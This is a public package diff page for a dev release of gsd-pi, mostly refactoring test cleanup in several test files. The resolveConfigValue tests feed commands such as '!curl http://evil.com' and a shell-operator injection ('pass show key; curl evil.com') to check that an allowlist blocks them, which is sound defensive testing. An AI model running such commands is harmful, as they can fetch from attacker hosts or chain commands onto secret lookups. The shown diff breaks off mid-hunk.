gsd-pi 2.44.0-dev.62b5d6c → 2.44.0-dev.a5271fc

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (198) hide show
  1. package/README.md +30 -12
  2. package/dist/resources/extensions/gsd/auto-start.js +10 -0
  3. package/dist/resources/extensions/gsd/bootstrap/system-context.js +46 -12
  4. package/dist/resources/extensions/gsd/commands/handlers/workflow.js +5 -0
  5. package/dist/resources/extensions/gsd/preferences.js +9 -1
  6. package/dist/resources/extensions/gsd/state.js +19 -2
  7. package/dist/web/standalone/.next/BUILD_ID +1 -1
  8. package/dist/web/standalone/.next/app-path-routes-manifest.json +19 -19
  9. package/dist/web/standalone/.next/build-manifest.json +2 -2
  10. package/dist/web/standalone/.next/prerender-manifest.json +3 -3
  11. package/dist/web/standalone/.next/server/app/_global-error.html +2 -2
  12. package/dist/web/standalone/.next/server/app/_global-error.rsc +1 -1
  13. package/dist/web/standalone/.next/server/app/_global-error.segments/_full.segment.rsc +1 -1
  14. package/dist/web/standalone/.next/server/app/_global-error.segments/_global-error/__PAGE__.segment.rsc +1 -1
  15. package/dist/web/standalone/.next/server/app/_global-error.segments/_global-error.segment.rsc +1 -1
  16. package/dist/web/standalone/.next/server/app/_global-error.segments/_head.segment.rsc +1 -1
  17. package/dist/web/standalone/.next/server/app/_global-error.segments/_index.segment.rsc +1 -1
  18. package/dist/web/standalone/.next/server/app/_global-error.segments/_tree.segment.rsc +1 -1
  19. package/dist/web/standalone/.next/server/app/_not-found.html +1 -1
  20. package/dist/web/standalone/.next/server/app/_not-found.rsc +1 -1
  21. package/dist/web/standalone/.next/server/app/_not-found.segments/_full.segment.rsc +1 -1
  22. package/dist/web/standalone/.next/server/app/_not-found.segments/_head.segment.rsc +1 -1
  23. package/dist/web/standalone/.next/server/app/_not-found.segments/_index.segment.rsc +1 -1
  24. package/dist/web/standalone/.next/server/app/_not-found.segments/_not-found/__PAGE__.segment.rsc +1 -1
  25. package/dist/web/standalone/.next/server/app/_not-found.segments/_not-found.segment.rsc +1 -1
  26. package/dist/web/standalone/.next/server/app/_not-found.segments/_tree.segment.rsc +1 -1
  27. package/dist/web/standalone/.next/server/app/index.html +1 -1
  28. package/dist/web/standalone/.next/server/app/index.rsc +1 -1
  29. package/dist/web/standalone/.next/server/app/index.segments/__PAGE__.segment.rsc +1 -1
  30. package/dist/web/standalone/.next/server/app/index.segments/_full.segment.rsc +1 -1
  31. package/dist/web/standalone/.next/server/app/index.segments/_head.segment.rsc +1 -1
  32. package/dist/web/standalone/.next/server/app/index.segments/_index.segment.rsc +1 -1
  33. package/dist/web/standalone/.next/server/app/index.segments/_tree.segment.rsc +1 -1
  34. package/dist/web/standalone/.next/server/app-paths-manifest.json +19 -19
  35. package/dist/web/standalone/.next/server/pages/404.html +1 -1
  36. package/dist/web/standalone/.next/server/pages/500.html +2 -2
  37. package/dist/web/standalone/.next/server/server-reference-manifest.json +1 -1
  38. package/package.json +1 -1
  39. package/packages/pi-coding-agent/dist/core/auth-storage.test.js +6 -8
  40. package/packages/pi-coding-agent/dist/core/auth-storage.test.js.map +1 -1
  41. package/packages/pi-coding-agent/dist/core/extensions/runner.test.js +24 -26
  42. package/packages/pi-coding-agent/dist/core/extensions/runner.test.js.map +1 -1
  43. package/packages/pi-coding-agent/dist/core/fs-utils.test.js +29 -48
  44. package/packages/pi-coding-agent/dist/core/fs-utils.test.js.map +1 -1
  45. package/packages/pi-coding-agent/dist/core/resolve-config-value.test.js +34 -44
  46. package/packages/pi-coding-agent/dist/core/resolve-config-value.test.js.map +1 -1
  47. package/packages/pi-coding-agent/dist/core/session-manager.test.js +30 -34
  48. package/packages/pi-coding-agent/dist/core/session-manager.test.js.map +1 -1
  49. package/packages/pi-coding-agent/dist/core/tools/edit-diff.test.js +10 -12
  50. package/packages/pi-coding-agent/dist/core/tools/edit-diff.test.js.map +1 -1
  51. package/packages/pi-coding-agent/dist/resources/extensions/memory/storage.test.js +43 -47
  52. package/packages/pi-coding-agent/dist/resources/extensions/memory/storage.test.js.map +1 -1
  53. package/packages/pi-coding-agent/src/core/auth-storage.test.ts +7 -7
  54. package/packages/pi-coding-agent/src/core/extensions/runner.test.ts +26 -26
  55. package/packages/pi-coding-agent/src/core/fs-utils.test.ts +31 -43
  56. package/packages/pi-coding-agent/src/core/resolve-config-value.test.ts +40 -45
  57. package/packages/pi-coding-agent/src/core/session-manager.test.ts +33 -33
  58. package/packages/pi-coding-agent/src/core/tools/edit-diff.test.ts +17 -17
  59. package/packages/pi-coding-agent/src/resources/extensions/memory/storage.test.ts +74 -74
  60. package/src/resources/extensions/gsd/auto-start.ts +14 -0
  61. package/src/resources/extensions/gsd/bootstrap/system-context.ts +48 -11
  62. package/src/resources/extensions/gsd/commands/handlers/workflow.ts +8 -0
  63. package/src/resources/extensions/gsd/preferences.ts +11 -1
  64. package/src/resources/extensions/gsd/state.ts +19 -1
  65. package/src/resources/extensions/gsd/tests/all-milestones-complete-merge.test.ts +99 -99
  66. package/src/resources/extensions/gsd/tests/auto-lock-creation.test.ts +14 -16
  67. package/src/resources/extensions/gsd/tests/auto-paused-session-validation.test.ts +43 -57
  68. package/src/resources/extensions/gsd/tests/auto-preflight.test.ts +11 -13
  69. package/src/resources/extensions/gsd/tests/auto-recovery.test.ts +465 -523
  70. package/src/resources/extensions/gsd/tests/auto-secrets-gate.test.ts +73 -75
  71. package/src/resources/extensions/gsd/tests/auto-start-needs-discussion.test.ts +34 -56
  72. package/src/resources/extensions/gsd/tests/auto-worktree-milestone-merge.test.ts +533 -656
  73. package/src/resources/extensions/gsd/tests/auto-worktree.test.ts +165 -143
  74. package/src/resources/extensions/gsd/tests/cache-staleness-regression.test.ts +29 -52
  75. package/src/resources/extensions/gsd/tests/captures.test.ts +148 -176
  76. package/src/resources/extensions/gsd/tests/claude-import-tui.test.ts +32 -33
  77. package/src/resources/extensions/gsd/tests/collect-from-manifest.test.ts +141 -143
  78. package/src/resources/extensions/gsd/tests/commands-inspect-open-db.test.ts +25 -25
  79. package/src/resources/extensions/gsd/tests/commands-logs.test.ts +81 -81
  80. package/src/resources/extensions/gsd/tests/complete-milestone.test.ts +38 -59
  81. package/src/resources/extensions/gsd/tests/complete-slice.test.ts +228 -263
  82. package/src/resources/extensions/gsd/tests/complete-task.test.ts +250 -302
  83. package/src/resources/extensions/gsd/tests/context-store.test.ts +354 -367
  84. package/src/resources/extensions/gsd/tests/continue-here.test.ts +68 -72
  85. package/src/resources/extensions/gsd/tests/cost-projection.test.ts +92 -106
  86. package/src/resources/extensions/gsd/tests/crash-recovery.test.ts +27 -35
  87. package/src/resources/extensions/gsd/tests/dashboard-budget.test.ts +220 -237
  88. package/src/resources/extensions/gsd/tests/db-writer.test.ts +390 -420
  89. package/src/resources/extensions/gsd/tests/definition-loader.test.ts +76 -92
  90. package/src/resources/extensions/gsd/tests/derive-state-crossval.test.ts +68 -83
  91. package/src/resources/extensions/gsd/tests/derive-state-db.test.ts +183 -181
  92. package/src/resources/extensions/gsd/tests/derive-state-deps.test.ts +78 -101
  93. package/src/resources/extensions/gsd/tests/derive-state.test.ts +192 -227
  94. package/src/resources/extensions/gsd/tests/detection.test.ts +232 -278
  95. package/src/resources/extensions/gsd/tests/dev-engine-wrapper.test.ts +30 -34
  96. package/src/resources/extensions/gsd/tests/dispatch-guard.test.ts +164 -180
  97. package/src/resources/extensions/gsd/tests/dispatch-missing-task-plans.test.ts +43 -49
  98. package/src/resources/extensions/gsd/tests/dispatch-uat-last-completed.test.ts +28 -32
  99. package/src/resources/extensions/gsd/tests/doctor-completion-deferral.test.ts +27 -29
  100. package/src/resources/extensions/gsd/tests/doctor-delimiter-fix.test.ts +34 -38
  101. package/src/resources/extensions/gsd/tests/doctor-enhancements.test.ts +54 -75
  102. package/src/resources/extensions/gsd/tests/doctor-environment-worktree.test.ts +21 -32
  103. package/src/resources/extensions/gsd/tests/doctor-environment.test.ts +72 -97
  104. package/src/resources/extensions/gsd/tests/doctor-fixlevel.test.ts +38 -44
  105. package/src/resources/extensions/gsd/tests/doctor-git.test.ts +104 -145
  106. package/src/resources/extensions/gsd/tests/doctor-proactive.test.ts +84 -106
  107. package/src/resources/extensions/gsd/tests/doctor-roadmap-summary-atomicity.test.ts +54 -60
  108. package/src/resources/extensions/gsd/tests/doctor-runtime.test.ts +72 -93
  109. package/src/resources/extensions/gsd/tests/doctor.test.ts +104 -134
  110. package/src/resources/extensions/gsd/tests/ensure-db-open.test.ts +123 -131
  111. package/src/resources/extensions/gsd/tests/exit-command.test.ts +20 -24
  112. package/src/resources/extensions/gsd/tests/feature-branch-lifecycle-integration.test.ts +48 -57
  113. package/src/resources/extensions/gsd/tests/files-loadfile-eisdir.test.ts +5 -7
  114. package/src/resources/extensions/gsd/tests/flag-file-db.test.ts +30 -42
  115. package/src/resources/extensions/gsd/tests/freeform-decisions.test.ts +198 -206
  116. package/src/resources/extensions/gsd/tests/git-locale.test.ts +13 -27
  117. package/src/resources/extensions/gsd/tests/git-service.test.ts +285 -388
  118. package/src/resources/extensions/gsd/tests/gitignore-tracked-gsd.test.ts +31 -39
  119. package/src/resources/extensions/gsd/tests/graph-operations.test.ts +63 -69
  120. package/src/resources/extensions/gsd/tests/gsd-db.test.ts +255 -264
  121. package/src/resources/extensions/gsd/tests/gsd-inspect.test.ts +108 -119
  122. package/src/resources/extensions/gsd/tests/gsd-recover.test.ts +81 -103
  123. package/src/resources/extensions/gsd/tests/gsd-tools.test.ts +229 -262
  124. package/src/resources/extensions/gsd/tests/headless-answers.test.ts +13 -13
  125. package/src/resources/extensions/gsd/tests/health-widget.test.ts +29 -37
  126. package/src/resources/extensions/gsd/tests/idle-recovery.test.ts +81 -102
  127. package/src/resources/extensions/gsd/tests/init-wizard.test.ts +16 -18
  128. package/src/resources/extensions/gsd/tests/integration-edge.test.ts +41 -46
  129. package/src/resources/extensions/gsd/tests/integration-lifecycle.test.ts +42 -53
  130. package/src/resources/extensions/gsd/tests/integration-mixed-milestones.test.ts +75 -91
  131. package/src/resources/extensions/gsd/tests/integration-proof.test.ts +18 -18
  132. package/src/resources/extensions/gsd/tests/knowledge.test.ts +89 -0
  133. package/src/resources/extensions/gsd/tests/markdown-renderer.test.ts +150 -194
  134. package/src/resources/extensions/gsd/tests/md-importer.test.ts +101 -125
  135. package/src/resources/extensions/gsd/tests/memory-extractor.test.ts +45 -54
  136. package/src/resources/extensions/gsd/tests/memory-store.test.ts +80 -93
  137. package/src/resources/extensions/gsd/tests/migrate-command.test.ts +57 -66
  138. package/src/resources/extensions/gsd/tests/migrate-hierarchy.test.ts +83 -93
  139. package/src/resources/extensions/gsd/tests/migrate-parser.test.ts +161 -170
  140. package/src/resources/extensions/gsd/tests/migrate-transformer.test.ts +125 -141
  141. package/src/resources/extensions/gsd/tests/migrate-validator-parsers.test.ts +107 -131
  142. package/src/resources/extensions/gsd/tests/migrate-writer-integration.test.ts +87 -96
  143. package/src/resources/extensions/gsd/tests/migrate-writer.test.ts +125 -164
  144. package/src/resources/extensions/gsd/tests/must-have-parser.test.ts +81 -94
  145. package/src/resources/extensions/gsd/tests/none-mode-gates.test.ts +35 -36
  146. package/src/resources/extensions/gsd/tests/overrides.test.ts +99 -106
  147. package/src/resources/extensions/gsd/tests/parallel-crash-recovery.test.ts +40 -47
  148. package/src/resources/extensions/gsd/tests/parallel-worker-monitoring.test.ts +25 -28
  149. package/src/resources/extensions/gsd/tests/parallel-workers-multi-milestone-e2e.test.ts +66 -83
  150. package/src/resources/extensions/gsd/tests/park-edge-cases.test.ts +54 -77
  151. package/src/resources/extensions/gsd/tests/park-milestone.test.ts +68 -115
  152. package/src/resources/extensions/gsd/tests/parsers.test.ts +546 -611
  153. package/src/resources/extensions/gsd/tests/paths.test.ts +72 -87
  154. package/src/resources/extensions/gsd/tests/post-unit-hooks.test.ts +77 -117
  155. package/src/resources/extensions/gsd/tests/preferences.test.ts +27 -0
  156. package/src/resources/extensions/gsd/tests/prompt-db.test.ts +56 -56
  157. package/src/resources/extensions/gsd/tests/queue-draft-detection.test.ts +93 -119
  158. package/src/resources/extensions/gsd/tests/queue-order.test.ts +70 -82
  159. package/src/resources/extensions/gsd/tests/queue-reorder-e2e.test.ts +42 -55
  160. package/src/resources/extensions/gsd/tests/quick-auto-guard.test.ts +100 -0
  161. package/src/resources/extensions/gsd/tests/quick-branch-lifecycle.test.ts +45 -73
  162. package/src/resources/extensions/gsd/tests/reassess-prompt.test.ts +28 -38
  163. package/src/resources/extensions/gsd/tests/replan-slice.test.ts +73 -80
  164. package/src/resources/extensions/gsd/tests/repo-identity-worktree.test.ts +71 -74
  165. package/src/resources/extensions/gsd/tests/requirements.test.ts +70 -75
  166. package/src/resources/extensions/gsd/tests/retry-state-reset.test.ts +44 -66
  167. package/src/resources/extensions/gsd/tests/roadmap-parse-regression.test.ts +114 -181
  168. package/src/resources/extensions/gsd/tests/rule-registry.test.ts +63 -65
  169. package/src/resources/extensions/gsd/tests/run-uat.test.ts +66 -128
  170. package/src/resources/extensions/gsd/tests/session-lock-multipath.test.ts +18 -25
  171. package/src/resources/extensions/gsd/tests/session-lock-regression.test.ts +37 -44
  172. package/src/resources/extensions/gsd/tests/shared-wal.test.ts +19 -26
  173. package/src/resources/extensions/gsd/tests/sqlite-unavailable-gate.test.ts +63 -0
  174. package/src/resources/extensions/gsd/tests/stalled-tool-recovery.test.ts +6 -8
  175. package/src/resources/extensions/gsd/tests/symlink-numbered-variants.test.ts +22 -28
  176. package/src/resources/extensions/gsd/tests/token-savings.test.ts +54 -56
  177. package/src/resources/extensions/gsd/tests/tool-call-loop-guard.test.ts +23 -25
  178. package/src/resources/extensions/gsd/tests/tool-naming.test.ts +9 -11
  179. package/src/resources/extensions/gsd/tests/unique-milestone-ids.test.ts +66 -82
  180. package/src/resources/extensions/gsd/tests/unit-runtime.test.ts +46 -47
  181. package/src/resources/extensions/gsd/tests/visualizer-critical-path.test.ts +20 -22
  182. package/src/resources/extensions/gsd/tests/visualizer-data.test.ts +84 -86
  183. package/src/resources/extensions/gsd/tests/visualizer-overlay.test.ts +41 -43
  184. package/src/resources/extensions/gsd/tests/visualizer-views.test.ts +94 -96
  185. package/src/resources/extensions/gsd/tests/windows-path-normalization.test.ts +11 -13
  186. package/src/resources/extensions/gsd/tests/worker-registry.test.ts +27 -29
  187. package/src/resources/extensions/gsd/tests/workflow-templates.test.ts +50 -52
  188. package/src/resources/extensions/gsd/tests/worktree-bugfix.test.ts +10 -13
  189. package/src/resources/extensions/gsd/tests/worktree-db-integration.test.ts +14 -18
  190. package/src/resources/extensions/gsd/tests/worktree-db.test.ts +38 -39
  191. package/src/resources/extensions/gsd/tests/worktree-e2e.test.ts +17 -21
  192. package/src/resources/extensions/gsd/tests/worktree-health.test.ts +25 -30
  193. package/src/resources/extensions/gsd/tests/worktree-integration.test.ts +30 -37
  194. package/src/resources/extensions/gsd/tests/worktree-symlink-removal.test.ts +15 -22
  195. package/src/resources/extensions/gsd/tests/worktree-sync-milestones.test.ts +59 -66
  196. package/src/resources/extensions/gsd/tests/worktree.test.ts +44 -50
  197. /package/dist/web/standalone/.next/static/{fOnWQBjWXMKUs4bqTg530 → JyimLR2pZuvKEzv26gI3w}/_buildManifest.js +0 -0
  198. /package/dist/web/standalone/.next/static/{fOnWQBjWXMKUs4bqTg530 → JyimLR2pZuvKEzv26gI3w}/_ssgManifest.js +0 -0
@@ -38,21 +38,20 @@ describe("resolveConfigValue — non-command values", () => {
38
38
  });
39
39
 
40
40
  describe("resolveConfigValue — command allowlist enforcement", () => {
41
- it("blocks a disallowed command and returns undefined", () => {
41
+ it("blocks a disallowed command and returns undefined", (t) => {
42
42
  const stderrChunks: string[] = [];
43
43
  const originalWrite = process.stderr.write.bind(process.stderr);
44
44
  process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
45
45
  stderrChunks.push(chunk.toString());
46
46
  return true;
47
47
  };
48
-
49
- try {
50
- const result = resolveConfigValue("!curl http://evil.com");
51
- assert.equal(result, undefined);
52
- assert.ok(stderrChunks.some((line) => line.includes("curl")));
53
- } finally {
48
+ t.after(() => {
54
49
  process.stderr.write = originalWrite;
55
- }
50
+ });
51
+
52
+ const result = resolveConfigValue("!curl http://evil.com");
53
+ assert.equal(result, undefined);
54
+ assert.ok(stderrChunks.some((line) => line.includes("curl")));
56
55
  });
57
56
 
58
57
  it("blocks another disallowed command (rm)", () => {
@@ -65,7 +64,7 @@ describe("resolveConfigValue — command allowlist enforcement", () => {
65
64
  assert.equal(result, undefined);
66
65
  });
67
66
 
68
- it("allows a safe command prefix to proceed to execution", () => {
67
+ it("allows a safe command prefix to proceed to execution", (t) => {
69
68
  // `pass` is unlikely to be installed in CI, so we just verify it does NOT
70
69
  // return undefined due to the allowlist check — it may return undefined if
71
70
  // the binary is absent, but the block path must not be taken.
@@ -76,16 +75,15 @@ describe("resolveConfigValue — command allowlist enforcement", () => {
76
75
  stderrChunks.push(chunk.toString());
77
76
  return true;
78
77
  };
79
-
80
- try {
81
- resolveConfigValue("!pass show nonexistent-entry-for-test");
82
- const blocked = stderrChunks.some((line) =>
83
- line.includes("Blocked disallowed command")
84
- );
85
- assert.equal(blocked, false, "pass should not be blocked by the allowlist");
86
- } finally {
78
+ t.after(() => {
87
79
  process.stderr.write = originalWrite;
88
- }
80
+ });
81
+
82
+ resolveConfigValue("!pass show nonexistent-entry-for-test");
83
+ const blocked = stderrChunks.some((line) =>
84
+ line.includes("Blocked disallowed command")
85
+ );
86
+ assert.equal(blocked, false, "pass should not be blocked by the allowlist");
89
87
  });
90
88
  });
91
89
 
@@ -130,61 +128,58 @@ describe("resolveConfigValue — shell operator bypass prevention", () => {
130
128
  assert.equal(result, undefined);
131
129
  });
132
130
 
133
- it("writes stderr warning when shell operators detected", () => {
131
+ it("writes stderr warning when shell operators detected", (t) => {
134
132
  const stderrChunks: string[] = [];
135
133
  const originalWrite = process.stderr.write.bind(process.stderr);
136
134
  process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
137
135
  stderrChunks.push(chunk.toString());
138
136
  return true;
139
137
  };
140
-
141
- try {
142
- resolveConfigValue("!pass show key; curl evil.com");
143
- assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
144
- } finally {
138
+ t.after(() => {
145
139
  process.stderr.write = originalWrite;
146
- }
140
+ });
141
+
142
+ resolveConfigValue("!pass show key; curl evil.com");
143
+ assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
147
144
  });
148
145
  });
149
146
 
150
147
  describe("resolveConfigValue — caching", () => {
151
- it("caches the result of a blocked command", () => {
148
+ it("caches the result of a blocked command", (t) => {
152
149
  const callCount = { n: 0 };
153
150
  const originalWrite = process.stderr.write.bind(process.stderr);
154
151
  process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
155
152
  callCount.n++;
156
153
  return true;
157
154
  };
158
-
159
- try {
160
- resolveConfigValue("!curl http://evil.com");
161
- resolveConfigValue("!curl http://evil.com");
162
- // The block warning should only fire once; the second call hits the cache
163
- // before reaching the allowlist check, so stderr count is 1.
164
- assert.equal(callCount.n, 1);
165
- } finally {
155
+ t.after(() => {
166
156
  process.stderr.write = originalWrite;
167
- }
157
+ });
158
+
159
+ resolveConfigValue("!curl http://evil.com");
160
+ resolveConfigValue("!curl http://evil.com");
161
+ // The block warning should only fire once; the second call hits the cache
162
+ // before reaching the allowlist check, so stderr count is 1.
163
+ assert.equal(callCount.n, 1);
168
164
  });
169
165
 
170
- it("clearConfigValueCache resets cached entries", () => {
166
+ it("clearConfigValueCache resets cached entries", (t) => {
171
167
  const stderrChunks: string[] = [];
172
168
  const originalWrite = process.stderr.write.bind(process.stderr);
173
169
  process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
174
170
  stderrChunks.push(chunk.toString());
175
171
  return true;
176
172
  };
173
+ t.after(() => {
174
+ process.stderr.write = originalWrite;
175
+ });
177
176
 
178
- try {
179
- resolveConfigValue("!curl http://evil.com");
180
- assert.equal(stderrChunks.length, 1);
177
+ resolveConfigValue("!curl http://evil.com");
178
+ assert.equal(stderrChunks.length, 1);
181
179
 
182
- clearConfigValueCache();
180
+ clearConfigValueCache();
183
181
 
184
- resolveConfigValue("!curl http://evil.com");
185
- assert.equal(stderrChunks.length, 2);
186
- } finally {
187
- process.stderr.write = originalWrite;
188
- }
182
+ resolveConfigValue("!curl http://evil.com");
183
+ assert.equal(stderrChunks.length, 2);
189
184
  });
190
185
  });
@@ -1,5 +1,5 @@
1
1
  import assert from "node:assert/strict";
2
- import { describe, it } from "node:test";
2
+ import { describe, it, afterEach } from "node:test";
3
3
  import { mkdtempSync, rmSync } from "node:fs";
4
4
  import { join } from "node:path";
5
5
  import { tmpdir } from "node:os";
@@ -22,44 +22,44 @@ function makeAssistantMessage(input: number, output: number, cacheRead = 0, cach
22
22
  }
23
23
 
24
24
  describe("SessionManager usage totals", () => {
25
- it("tracks assistant usage incrementally without rescanning entries", () => {
26
- const dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
27
- try {
28
- const manager = SessionManager.create(dir, dir);
29
-
30
- manager.appendMessage({ role: "user", content: [{ type: "text", text: "hello" }] } as any);
31
- manager.appendMessage(makeAssistantMessage(10, 5, 3, 2, 0.25));
32
- manager.appendMessage(makeAssistantMessage(7, 4, 1, 0, 0.1));
25
+ let dir: string;
33
26
 
34
- assert.deepEqual(manager.getUsageTotals(), {
35
- input: 17,
36
- output: 9,
37
- cacheRead: 4,
38
- cacheWrite: 2,
39
- cost: 0.35,
40
- });
41
- } finally {
27
+ afterEach(() => {
28
+ if (dir) {
42
29
  rmSync(dir, { recursive: true, force: true });
43
30
  }
44
31
  });
45
32
 
33
+ it("tracks assistant usage incrementally without rescanning entries", () => {
34
+ dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
35
+ const manager = SessionManager.create(dir, dir);
36
+
37
+ manager.appendMessage({ role: "user", content: [{ type: "text", text: "hello" }] } as any);
38
+ manager.appendMessage(makeAssistantMessage(10, 5, 3, 2, 0.25));
39
+ manager.appendMessage(makeAssistantMessage(7, 4, 1, 0, 0.1));
40
+
41
+ assert.deepEqual(manager.getUsageTotals(), {
42
+ input: 17,
43
+ output: 9,
44
+ cacheRead: 4,
45
+ cacheWrite: 2,
46
+ cost: 0.35,
47
+ });
48
+ });
49
+
46
50
  it("resets totals when starting a new session", () => {
47
- const dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
48
- try {
49
- const manager = SessionManager.create(dir, dir);
50
- manager.appendMessage(makeAssistantMessage(5, 5, 0, 0, 0.05));
51
- assert.equal(manager.getUsageTotals().input, 5);
51
+ dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
52
+ const manager = SessionManager.create(dir, dir);
53
+ manager.appendMessage(makeAssistantMessage(5, 5, 0, 0, 0.05));
54
+ assert.equal(manager.getUsageTotals().input, 5);
52
55
 
53
- manager.newSession();
54
- assert.deepEqual(manager.getUsageTotals(), {
55
- input: 0,
56
- output: 0,
57
- cacheRead: 0,
58
- cacheWrite: 0,
59
- cost: 0,
60
- });
61
- } finally {
62
- rmSync(dir, { recursive: true, force: true });
63
- }
56
+ manager.newSession();
57
+ assert.deepEqual(manager.getUsageTotals(), {
58
+ input: 0,
59
+ output: 0,
60
+ cacheRead: 0,
61
+ cacheWrite: 0,
62
+ cost: 0,
63
+ });
64
64
  });
65
65
  });
@@ -60,26 +60,26 @@ describe("edit-diff", () => {
60
60
  assert.match(result.diff, /CHANGED/);
61
61
  });
62
62
 
63
- it("computes diffs for preview without native helpers", async () => {
63
+ it("computes diffs for preview without native helpers", async (t) => {
64
64
  const dir = mkdtempSync(join(tmpdir(), "edit-diff-test-"));
65
- try {
66
- const file = join(dir, "sample.ts");
67
- writeFileSync(file, "const title = “Hello”;\n", "utf-8");
65
+ t.after(() => {
66
+ rmSync(dir, { recursive: true, force: true });
67
+ });
68
68
 
69
- const result = await computeEditDiff(
70
- file,
71
- "const title = \"Hello\";\n",
72
- "const title = \"Hi\";\n",
73
- dir,
74
- );
69
+ const file = join(dir, "sample.ts");
70
+ writeFileSync(file, "const title = “Hello”;\n", "utf-8");
75
71
 
76
- assert.ok(!("error" in result), "expected a diff result");
77
- if (!("error" in result)) {
78
- assert.equal(result.firstChangedLine, 1);
79
- assert.match(result.diff, /\+1 const title = "Hi";/);
80
- }
81
- } finally {
82
- rmSync(dir, { recursive: true, force: true });
72
+ const result = await computeEditDiff(
73
+ file,
74
+ "const title = \"Hello\";\n",
75
+ "const title = \"Hi\";\n",
76
+ dir,
77
+ );
78
+
79
+ assert.ok(!("error" in result), "expected a diff result");
80
+ if (!("error" in result)) {
81
+ assert.equal(result.firstChangedLine, 1);
82
+ assert.match(result.diff, /\+1 const title = "Hi";/);
83
83
  }
84
84
  });
85
85
  });
@@ -1,5 +1,5 @@
1
1
  import assert from "node:assert/strict";
2
- import { describe, it, mock } from "node:test";
2
+ import { describe, it, afterEach } from "node:test";
3
3
  import { mkdtempSync, rmSync, readFileSync, existsSync } from "node:fs";
4
4
  import { join } from "node:path";
5
5
  import { tmpdir } from "node:os";
@@ -15,84 +15,84 @@ function wait(ms: number): Promise<void> {
15
15
  }
16
16
 
17
17
  describe("MemoryStorage debounced persistence", () => {
18
- it("multiple rapid mutations only trigger one persist write", async () => {
19
- const dir = makeTmpDir();
20
- const dbPath = join(dir, "test.db");
21
- try {
22
- const storage = await MemoryStorage.create(dbPath);
23
-
24
- const initialStat = readFileSync(dbPath);
25
- const initialMtime = initialStat.length;
26
-
27
- storage.upsertThreads([
28
- { threadId: "t1", filePath: "/a.txt", fileSize: 100, fileMtime: 1000, cwd: "/proj" },
29
- ]);
30
- storage.upsertThreads([
31
- { threadId: "t2", filePath: "/b.txt", fileSize: 200, fileMtime: 2000, cwd: "/proj" },
32
- ]);
33
- storage.upsertThreads([
34
- { threadId: "t3", filePath: "/c.txt", fileSize: 300, fileMtime: 3000, cwd: "/proj" },
35
- ]);
36
-
37
- const afterMutationsBuf = readFileSync(dbPath);
38
- assert.deepEqual(
39
- afterMutationsBuf,
40
- initialStat,
41
- "File should not have been written yet (debounce window has not elapsed)",
42
- );
43
-
44
- await wait(700);
45
-
46
- const afterDebounceBuf = readFileSync(dbPath);
47
- assert.notDeepEqual(
48
- afterDebounceBuf,
49
- initialStat,
50
- "File should have been written after debounce window elapsed",
51
- );
52
-
53
- const stats = storage.getStats();
54
- assert.equal(stats.totalThreads, 3);
55
-
56
- storage.close();
57
- } finally {
18
+ let dir: string;
19
+
20
+ afterEach(() => {
21
+ if (dir) {
58
22
  rmSync(dir, { recursive: true, force: true });
59
23
  }
60
24
  });
61
25
 
26
+ it("multiple rapid mutations only trigger one persist write", async () => {
27
+ dir = makeTmpDir();
28
+ const dbPath = join(dir, "test.db");
29
+ const storage = await MemoryStorage.create(dbPath);
30
+
31
+ const initialStat = readFileSync(dbPath);
32
+ const initialMtime = initialStat.length;
33
+
34
+ storage.upsertThreads([
35
+ { threadId: "t1", filePath: "/a.txt", fileSize: 100, fileMtime: 1000, cwd: "/proj" },
36
+ ]);
37
+ storage.upsertThreads([
38
+ { threadId: "t2", filePath: "/b.txt", fileSize: 200, fileMtime: 2000, cwd: "/proj" },
39
+ ]);
40
+ storage.upsertThreads([
41
+ { threadId: "t3", filePath: "/c.txt", fileSize: 300, fileMtime: 3000, cwd: "/proj" },
42
+ ]);
43
+
44
+ const afterMutationsBuf = readFileSync(dbPath);
45
+ assert.deepEqual(
46
+ afterMutationsBuf,
47
+ initialStat,
48
+ "File should not have been written yet (debounce window has not elapsed)",
49
+ );
50
+
51
+ await wait(700);
52
+
53
+ const afterDebounceBuf = readFileSync(dbPath);
54
+ assert.notDeepEqual(
55
+ afterDebounceBuf,
56
+ initialStat,
57
+ "File should have been written after debounce window elapsed",
58
+ );
59
+
60
+ const stats = storage.getStats();
61
+ assert.equal(stats.totalThreads, 3);
62
+
63
+ storage.close();
64
+ });
65
+
62
66
  it("close() flushes pending changes immediately without waiting for debounce", async () => {
63
- const dir = makeTmpDir();
67
+ dir = makeTmpDir();
64
68
  const dbPath = join(dir, "test.db");
65
- try {
66
- const storage = await MemoryStorage.create(dbPath);
67
-
68
- const initialBuf = readFileSync(dbPath);
69
-
70
- storage.upsertThreads([
71
- { threadId: "t1", filePath: "/a.txt", fileSize: 100, fileMtime: 1000, cwd: "/proj" },
72
- ]);
73
-
74
- const beforeCloseBuf = readFileSync(dbPath);
75
- assert.deepEqual(
76
- beforeCloseBuf,
77
- initialBuf,
78
- "File should not have been written yet (debounce window has not elapsed)",
79
- );
80
-
81
- storage.close();
82
-
83
- const afterCloseBuf = readFileSync(dbPath);
84
- assert.notDeepEqual(
85
- afterCloseBuf,
86
- initialBuf,
87
- "File should have been written immediately on close()",
88
- );
89
-
90
- const reopened = await MemoryStorage.create(dbPath);
91
- const stats = reopened.getStats();
92
- assert.equal(stats.totalThreads, 1, "Data should be persisted and readable after close");
93
- reopened.close();
94
- } finally {
95
- rmSync(dir, { recursive: true, force: true });
96
- }
69
+ const storage = await MemoryStorage.create(dbPath);
70
+
71
+ const initialBuf = readFileSync(dbPath);
72
+
73
+ storage.upsertThreads([
74
+ { threadId: "t1", filePath: "/a.txt", fileSize: 100, fileMtime: 1000, cwd: "/proj" },
75
+ ]);
76
+
77
+ const beforeCloseBuf = readFileSync(dbPath);
78
+ assert.deepEqual(
79
+ beforeCloseBuf,
80
+ initialBuf,
81
+ "File should not have been written yet (debounce window has not elapsed)",
82
+ );
83
+
84
+ storage.close();
85
+
86
+ const afterCloseBuf = readFileSync(dbPath);
87
